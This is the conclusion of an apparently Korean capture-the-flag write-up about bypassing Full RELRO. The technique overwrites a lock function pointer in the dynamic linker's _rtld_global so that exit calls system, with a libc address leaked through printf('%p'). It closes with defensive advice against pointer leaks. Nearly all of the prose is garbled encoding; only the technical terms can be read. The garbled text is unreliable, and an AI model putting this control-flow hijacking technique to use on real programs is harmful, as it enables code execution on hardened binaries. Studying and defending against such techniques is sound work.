๐ ๊ฒฐ๋ก
RELRO๋ "GOT๋ฅผ ์ ๊ทผ๋ค"์ด์ง "ํจ์ ํฌ์ธํฐ๋ฅผ ์์ค๋ค"๊ฐ ์๋๋ค.
Full RELRO๋ฅผ ์ผ๋ฉด GOT ๋ฎ์ด์ฐ๊ธฐ๋ ํ์คํ ๋งํ๋ค. ๊ทธ๋ฐ๋ฐ ํ๋ก์ธ์ค ์ฃผ์ ๊ณต๊ฐ์๋
GOT ๋ง๊ณ ๋ ํธ์ถ๋๋ ํจ์ ํฌ์ธํฐ๊ฐ ๋๋ ค ์๋ค. ์ด ๋ฌธ์ ๋ ๊ทธ์ค์์๋ ๊ฐ์ฅ ์ง์ฐ๊ธฐ ์ด๋ ค์ด ๊ฒ,
๋์ ๋ง์ปค ์์ ์ ๋ฝ ํ
์ ๊ณจ๋๋ค. _rtld_global์ ๋ง์ปค๊ฐ ์คํ ๋ด๋ด ๊ฐฑ์ ํด์ผ ํ๋ ์ํ๋ผ
์ฝ๊ธฐ ์ ์ฉ์ผ๋ก ๋ง๋ค ์๊ฐ ์๊ณ , ๊ทธ๋์ ์ํ ๊ธฐ๋ฒ์ ์ฌ๊ฐ์ง๋๋ก ๋จ์๋ค.
ํ์ ์ ๊ณ ๋ฅผ ๋๋ "์ธ์ ๋ถ๋ฆฌ๋๊ฐ"๊ฐ "๋ฌด์์ ๋ถ๋ฅด๋๊ฐ"๋งํผ ์ค์ํ๋ค.
__malloc_hook์ด ์๋ฌด๋ฆฌ ์ข์ ํ์ ์ด์ด๋ malloc์ด ์ ๋ถ๋ฆฌ๋ฉด ์ธ๋ชจ๊ฐ ์๋ค.
์ด ํ๋ก๊ทธ๋จ์ setvbuf๋ก ๋ฒํผ๋ง์ ๊บผ ๋ฒ๋ ค์ ํ์ ์์ ์ ์ด๋ค.
๋ฐ๋๋ก _dl_fini๋ ์ ์ ์ข
๋ฃ๋ผ๋ฉด ๋ฐ๋์ ๋ถ๋ฆฐ๋ค. ๋ฉ๋ด์ 0 ํ๋ ๋ณด๋ด๋ฉด ๋๋ ํธ๋ฆฌ๊ฑฐ์๋ค.
๊ฒ๋ค๊ฐ ์ธ์๊น์ง ๊ฐ์ ๊ตฌ์กฐ์ฒด ์์ ์์ด์ ๋ฌธ์์ด์ ์ด๋ ์ฌ์์ง ๊ณ ๋ฏผํ ํ์๋ ์์๋ค.
8๋ฐ์ดํธ๊ฐ ํ๋ฆฌ๋ฉด ์ฆ์์ด ์๋ฑํ๊ฒ ๋์จ๋ค.
+0xF08์ ๋ฎ์์ ๋ ํ๋ก์ธ์ค๋ ์ฃฝ์ง ์์๊ณ , system๋ ์ค์ ๋ก ๋ถ๋ ธ๋ค.
๋ค๋ง ์ธ์๊ฐ /bin0sh์๋ค. ์ง์ง lock์ด ๋จผ์ ๋๋ฉด์ ๋ฎคํ
์ค ์นด์ดํฐ๋ฅผ ํ๋ ์ฌ๋ ธ๊ณ ,
๊ทธ ์นด์ดํฐ๊ฐ ๋ด ๋ฌธ์์ด์ 5๋ฒ์งธ ๋ฐ์ดํธ์๊ธฐ ๋๋ฌธ์ด๋ค.
"์ฃผ์๊ฐ ํ๋ ธ๋ ๊ธฐ๋ฒ์ด ํ๋ ธ๋"๋ฅผ ๊ฐ๋ฅด๋ ค๋ฉด ๊ฒฐ๊ตญ ์คํ ์ค์ธ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ด์ผ ํ๋ค.
gdb ๋ฐฐ์น ์คํฌ๋ฆฝํธ๋ก _rtld_global์ ํต์งธ๋ก ๋คํํ๊ณ ํฌ์ธํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ์ฝ๋๊น์ง
๋์ค์ด์
๋ธํ๊ณ ๋์์ผ add DWORD PTR [rdi+0x4],1์ด ๋์ ๋ค์ด์๋ค.
๋ฐฉ์ด ์ชฝ์์ ๋ณผ ๊ฒ.
์์ ์ฃผ์ ์ฐ๊ธฐ๊ฐ ํ๋๋ผ๋ ์ฑ๋ฆฝํ๋ฉด RELROยทPIEยทNXยท์นด๋๋ฆฌ๋ฅผ ์ ๋ถ ์ผ๋ ์ ธ๊น์ง ๊ฐ๋ค. ์ด ๋ฌธ์ ์์ ๊ทธ ๋ท์ ํ์ ์ GOT์์ ld.so๋ก ์ฎ๊ธฐ๊ฒ ๋ง๋ค์์ ๋ฟ, ๊ฒฐ๊ณผ๋ฅผ ๋ง์ง๋ ๋ชปํ๋ค. ์ฌ์ฉ์ ์ ๋ ฅ์ด ํฌ์ธํฐ๊ฐ ๋๋ ๊ฒฝ๋ก๋ ์ํ ๊ธฐ๋ฒ์ผ๋ก ๋ฎ๋ ๊ฒ ์๋๋ผ ์ ์ด์ ๋ง๋ค์ง ์๋ ๊ฒ ์ ์ผํ ๋ต์ด๋ค. ์ธ๋ฑ์ค๋ก ์ ๊ทผํ ์๋ฐ์ ์๋ค๋ฉด ์ํยทํํ์ ์ฝ๋์ ๋ฐ๊ณ , ๊ฐ์ฒด ์ฐธ์กฐ๋ฅผ ์ ์ ํธ๋ค๋ก ๊ฐ์ธ ์์ ์ฃผ์๊ฐ ์ฌ์ฉ์ ์ชฝ์ผ๋ก ๋์ด๊ฐ์ง ์๊ฒ ํ๋ค.
์ฃผ์ ์ ์ถ๋ ๊ฐ์ด ๋ด์ผ ํ๋ค. ์ด ๋ฌธ์ ๋ printf("%p", stdout) ํ ์ค๋ก libc ์์น๊ฐ
๋๋ฌ๋ฌ๊ณ , ๊ฑฐ๊ธฐ์ ld.so๊น์ง ๊ณ์ฐ์ผ๋ก ๋ฐ๋ผ์๋ค. ๋๋ฒ๊ทธ์ฉ์ผ๋ก ๋ฃ์ ํฌ์ธํฐ ์ถ๋ ฅ์ด
์ด์ ๋น๋์ ๋จ์ ์์ผ๋ฉด ASLR์ ์ฌ์ค์ ๊บผ์ง ๊ฒ๊ณผ ๊ฐ๋ค.
%p๋ก ์ฐํ๋ ๊ฒ๋ค์ ๋ฆด๋ฆฌ์ค ์ ์ ํ ๋ฒ์ฉ ์ธ์ด ๋ณด๋ ํธ์ด ์ข๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ